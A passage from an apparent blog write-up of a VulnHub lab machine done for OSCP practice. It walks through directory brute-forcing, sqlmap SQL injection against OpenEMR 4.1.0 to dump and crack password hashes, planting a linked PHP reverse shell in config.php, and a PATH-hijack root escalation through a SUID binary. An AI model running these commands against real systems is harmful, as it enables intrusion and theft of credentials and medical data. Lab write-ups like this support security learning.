1.3.3 on port 21, and Apache 2.2.17 on port 80. The output doesn’t tell us anything about anonymous login on the FTP service, so we will go straight to enumerating the Apache website. All we see on the website initially is a countdown for the arrival of the full website, as well as an option to supply an email address for updates on the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/0*Ped0XRiBCeW8N8ci" /><figcaption>Website under construction</figcaption></figure><p>This would be a good time to run a directory bruteforce tool like dirsearch to enumerate other directories present on the webserver. We will use the command “dirsearch -u &lt;machineip&gt; -e txt,rar,zip,pdf,js,aspx,sh,php -w &lt;wordlist&gt;”</p><p>This command tells dirsearch to search for directories on the webserver, using the bruteforce methodology, using the supplied wordlist. It also tells dirsearch to search for files with the extensions following the -e switch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C8w-hcQs9de012nW" /><figcaption>Dirsearch output</figcaption></figure><p>As we can see in the image above, we get several results back from dirsearch. Let’s start at the top of the list and work our way down. We aren’t able to get any information from any of the directories that gave us a 301 response status, but the robots directory gives us something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/0*jQ9CK2GFZ6_r0TZz" /><figcaption>Accessing robots.txt file</figcaption></figure><p>This is essentially a robots.txt file, which tells the webserver which directories should not be viewable from searches by search engines like google, bing, etc. None of the listed directories give us anything. From this page, though, we can note the word “oden” at the top line. If there is a user named oden and they are editing the robots.txt file, it may be safe to assume that oden would be a web admin and that username could be used in the process of attempting to attack the target. Like I mentioned earlier, robots.txt is the file that would be used to restrict search engine visibility, but this page is just called robots. This led me to believe that it may just be a distraction, but I still kept the oden username written down for later reference if needed. Let’s check out the “openemr” directory that we got from our dirsearch output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*25eAFN-iZoxyktZ5" /><figcaption>OpenEMR login page</figcaption></figure><p>We can see that this is a login page for the OpenEMR service, and that the version of the service in use is v4.1.0. If we search on google for “OpenEMR v4.1.0 exploit”, we find <a href="https://www.exploit-db.com/exploits/17998">here </a>that the application is actually vulnerable to SQL injection. This will allow us to gather credentials that we can use to login to the service and continue our efforts. Lets first open up burpsuite and connect to the appropriate proxy in our browser to intercept the test login request we are about to submit. We will use this sample request with the tool sqlmap to conduct the SQL injection attack. We can put “test” into both the username and password fields, intercept the request with burpsuite, and the save the request as “request.txt” to our attacking machine. Now, using the command “sqlmap -r request.txt — dbs”. This command will tell the tool to use the “request.txt” file and the parameters used in it to conduct the attack. Then the tool will enumerate the databases present on the database service. This returns a database of interest named “openemr”. Now we can use the command “sqlmap -r request.txt -D openemr — tables” which gives the results below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r3WkZj7J5U3oI1j5" /><figcaption>sqlmap output</figcaption></figure><p>Towards the bottom of the output, there is a table named “users”. Let’s now dump that table with “sqlmap -r request.txt -D openemr -T users — dump”. This gives us the username and hashed passwords for two users, “admin” and “medical”. One great feature of sqlmap is that it can also be used to perform password cracking with hashes recovered during the sql injection attack. Follow the prompts to crack the passwords, and you will be presented with the information in the image below. We now have a password for the admin user on the openemr service!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/0*Dehl_em1kS-MnRKN" /></figure><h3>Initial Access and User Flag</h3><p>We can now login and begin enumerating the application itself to look for ways we can exploit it. If we navigate to the administration tab on the left side of the page, we see another page for files, which includes a file called config.php that we can overwrite. Since it is a php file, we can overwrite it with the php reverse shell (<a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php</a>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3ReYSEc5JTERDrE7" /><figcaption>Overwriting config.php content with php reverse shell code.</figcaption></figure><p>Now we can save the php file, start a netcat listener on the specified port in the php reverse shell code, and finally reload the webpage. In my case, the netcat command looked like this: nc nlvp -9001</p><p>From here, it’s a pretty straightforward process to get the user flag. Change directory into the home directory, the the almirant directory, and then “cat user.txt”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mGEt7NoeyG0FkPqF" /><figcaption>Accessing the user.txt flag</figcaption></figure><h3>Privilege Escalation and Root Flag</h3><p>One thing I always like to check when looking for a privilege escalation vector is the current user’s sudo privileges using “sudo -l”. Unfortunately, we have no sudo privileges with the current user. The next step we can take is to check for SUID/SGID binaries that we can exploit. In simple terms, these are basically binaries on the target system that have particular permissions which allow them to be run with higher privileges than what is typically allowed for a particular user. This topic is explained further in this great video by Conda: <a href="https://www.youtube.com/watch?v=WgTL7KM44YQ">https://www.youtube.com/watch?v=WgTL7KM44YQ</a></p><p>I highly recommend subscribing to Conda’s channel and following him on his socials. He gives a lot of value back to the community and has been a great resource in my own learning.</p><p>So, we can use the command “find / -perm -4000 -type f 2&gt;/dev/null” to search for binaries with the SUID bit. The image below is the output from that command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zrzPXP977VKmIR4s" /><figcaption>Searching for SUID binaries to exploit.</figcaption></figure><p>This gives us a decently long list of binaries, with one of particular interest, “/usr/bin/healthcheck”. Just from experience, this is not a standard binary on linux systems, so lets investigate it further. We can use the command “strings /usr/bin/healthcheck” to actually read the code and see what the binary does. This shows us that the binary is basically just conducting a check of the system’s basic IP configuration with the “ifconfig” command, as well as checking the system’s disk partitions with the fdisk -l command. Hmm, this presents an interesting opportunity for privilege escalation. Since the binary is using the “ifconfig” command, we can craft our own malicious version of that command in a directory of our choice, and then add that directory to the PATH variable. When the binary is run after that, it will find the malicious version of the command in the directory we placed it in, which in this case is the /tmp directory, and run it. So lets cd into the /tmp directory and use “ echo ‘/bin/bash &gt; ifconfig’ “ to create the malicious ifconfig command. This command will spawn a bash shell, and since the healthcheck binary is run with root privileges, that shell will be a root shell. Our next step is to use “chmod +x ifconfig”. This will allow the malicious ifconfig command to be executed by the current user. Now we can add the /tmp directory to the PATH variable using “export PATH=/tmp:$PATH”. From here, all we have to do is run the healthcheck binary with “/usr/bin/healthcheck” and we will have a root shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/0*9BygmJs2BXY-4A6K" /><figcaption>Root shell</figcaption></figure><p>Now we can cd into the root directory and cat out the root flag!</p><p>Congrats!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HuNEh4glt9XQtydt" /></figure><h3>Conclusion</h3><p>I really enjoyed this particular box. I got the idea to complete it from the “NetSecFocus Trophy Room” google spreadsheet. This spreadsheet is meant to act as a guide to what vulnhub boxes would be worth completing in preparation for the OSCP exam. I still think I am a little ways away from being fully prepared for the OSCP, but I do intend to earn the certification in the future. I will definitely be completing more of the boxes from this list and making writeups on them, so expect to see more of them here in the future.</p><p>I hope you enjoyed this writeup and got some value from it, and I hope you come back to read some more writeups/blog posts in the future as well. If you did enjoy this post, it would be greatly appreciated if you shared it with your friends and connections on facebook, twitter, linkedin, etc. Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad20e55be2df" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>